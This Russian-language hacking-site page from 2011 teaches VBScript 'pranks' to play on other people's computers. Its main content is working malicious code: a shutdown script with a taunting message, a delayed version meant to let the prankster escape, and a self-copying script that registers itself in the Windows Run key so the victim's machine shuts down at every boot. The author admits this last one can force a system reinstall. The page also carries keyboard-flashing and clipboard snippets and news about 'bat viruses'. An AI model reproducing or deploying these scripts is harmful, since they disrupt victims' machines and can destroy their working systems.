VBS практика
Хотя если подумать, то можно понять что VBS служит не только для нанесения вреда, ведь майкрософт не будут же создавать себе же проблему ;) Эти скрипты нужны что бы управлять компьютером и выполнять несколько команд в определенной последовательности, так же грамотные VBSники могут довольно хорошо "подлатать" вашу винду исправив ошибки, мне встречались VBS способные тупо отключить лицензионное соглашение виндовса ;)
Ну хватит теорий, вот вам немного интересных статеек как можно применить данный язык программирования в действительно шуточных целях:
Клавиатурная гирлянда
Всем привет! Сегодня будет экзотический прикол. Мы будем мигать лампочками на клавиатуре с помощью VBS!
Создайте файл 1.vbs и через блокнот пишите в нем:
Set s = CreateObject("Wscript.Shell")
do
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
loop
В принципе, код не сложный, можно сказать легкий.
s.sendkeys»{numlock}» - какую кнопку следует нажать. Поищите, может найдете имена клавиш. Я поэкспериментировал, нашел кнопку esc. Запустил — сущий ад =)
wscript.sleep 80 — Пауза между нажатиями на клавиши. 80 миллисекунд
Интересно ? ) тогда читаем дальше:
Выключить компьютер
Все, перестану мучить теорией, перейдем к практике!
В этом уроке вы увидите, как можно выключить компьютер.
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "Ваш текст, от насмешки до угрозы :)"
А теперь сделаем так, чтобы вы успели убежать после того, как поставили западло (60 секунд):
Создаем файл 1.vbs
Пишем:
WScript.Sleep 60000
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "Ваш текст, от насмешки до угрозы :)"
Самое опасное (вплоть до переустановки системы): комп при включении сразу вырубается (напомню, файл - 1.vbs):
Set FSO=CreateObject("Scripting.FileSystemObject") ' Получаем доступ к обьекту FSO
FSO.CopyFile "1.vbs", "C:\Windows\" 'Копируем второй скрипт из текущей дирeктории на хард юзера
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Window", "C:\Windows\1.vbs"Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "Ваш текст, от насмешки до угрозы :)"
если заинтересовало, то переходите по ссылке, там вы найдете много интересного про VBS:
http://mew.ucoz.ru/index/vbs/0-26
2
-
7Skype вирус Дата 11 мая, 2011 от MeW
-
8Новая глава в книге про бат Дата 12 мая, 2011 от MeW
-
9Магазиньчик открыт Дата 26 мая, 2011 от MeW
-
4Счетчики пользователей. Дата 25 апреля, 2011 от MeW
-
5Форум приведен в нормальный вид. Дата 25 апреля, 2011 от MeW
-
6Законодательство Дата 30 апреля, 2011 от MeW
-
3Безопасность. Дата 25 апреля, 2011 от MeW
-
2Новичкам. Дата 25 апреля, 2011 от MeW
-
1Пишеться книга на сайте про бат вирусы. Дата 25 апреля, 2011 от MeW
-
На добовление ВАС в список проверенных пользователей пишите на форуме. Или в асю указанную в контактах.
РЕГИСТРАЦИЯ НА САЙТЕ -
Хакер - не приступник. Взлом - как исскуство. Смысл - в свободе.
Девиз хакеров ) -
Безопасность превыше всего. Не попадайтесь ;)
MeW, Admin
STin
VBS буфер обмена
Записать в буфер обмена:
Set objIE = CreateObject("InternetExplorer.Application")
objIE.Navigate("about:blank")
objIE.document.parentwindow.clipboardData.SetData "text", "Hello This Is A Test"
objIE.Quit
STin
VBS буфер обмена
Получить содержимое буфера:
strClipboard = ""
Set objIE = CreateObject("InternetExplorer.Application")
objIE.Navigate("about:blank")
strClipboard = objIE.document.parentWindow.clipboardData.getData("Text")
objIE.Quit
' strClipboard - содержимое буфера обмена